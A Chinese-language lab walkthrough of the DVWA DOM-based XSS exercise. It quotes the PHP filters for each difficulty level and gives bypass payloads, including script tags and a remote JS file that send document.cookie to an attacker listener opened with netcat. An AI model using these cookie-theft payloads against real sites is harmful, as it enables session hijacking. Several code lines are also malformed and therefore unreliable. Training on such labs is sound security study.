XSS的应用场景
- 利用XSS获得cookie
- 重定向
- 钓鱼网站
- DDOS
DOM型XSS
文本对象模式xss,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
一、Low等级
1、漏洞分析
<?php
# No protections, anything goes
?>
- 没任何保护
2.漏洞利用
2.1重定向
<script>window.location='http://www.163.com'</script>
2.2获取cookie
- 直接弹出来
<script>alert(document.cookie)</script>
- 弹到A主机上
在A主机上开启监听
nc -nvlp 80
在输入点,输入以下内容
<script>new Image().src="htttp://../../..?output="+document.cookie;</script>
- 通过加载远程js脚本,将cookie弹到Aa主机上
在远程服务器上制作一个js脚本
var img=new Image();
img src='http://../../../:8888/cookie.php?cookie='+document.cookie;
在远程服务器上开启web服务
service apache2 start
开启监听
nc -nlvp 8888
在输入点,输入以下内容
<script src='http://../../getcookie.js'></script>
二、Medium等级
1、漏洞分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
- 简单过滤,检测到
<script
,即置为English
2、使用其他标签绕过
</select><img src='x' onerror='document.cookie'>
因为在
<select>
中不能添加img,所以要先闭合</select>
其他操作,同Low等级
三、High等级
1、漏洞分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
- 白名单过滤,只有四种可以选择,其他输入,都会置为English
2、利用#
特性绕过
default=English #<script>alert(document.cookie)</script>
在url中
#
之后的值不会传给服务器
四、Impossible等级
1、安全性分析
<?php
# Don't need to do anything, protction handled on the client side
?>
- 保护的代码在客户端里面
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
- 对输入的参数并没有进行URL解码
- 输入的任何参数,都是经过URL编码,然后直接赋值给option标签
- 所以不存在XSS漏洞
上一篇:弱会话ID
下一篇:XSS(反射型和存储型)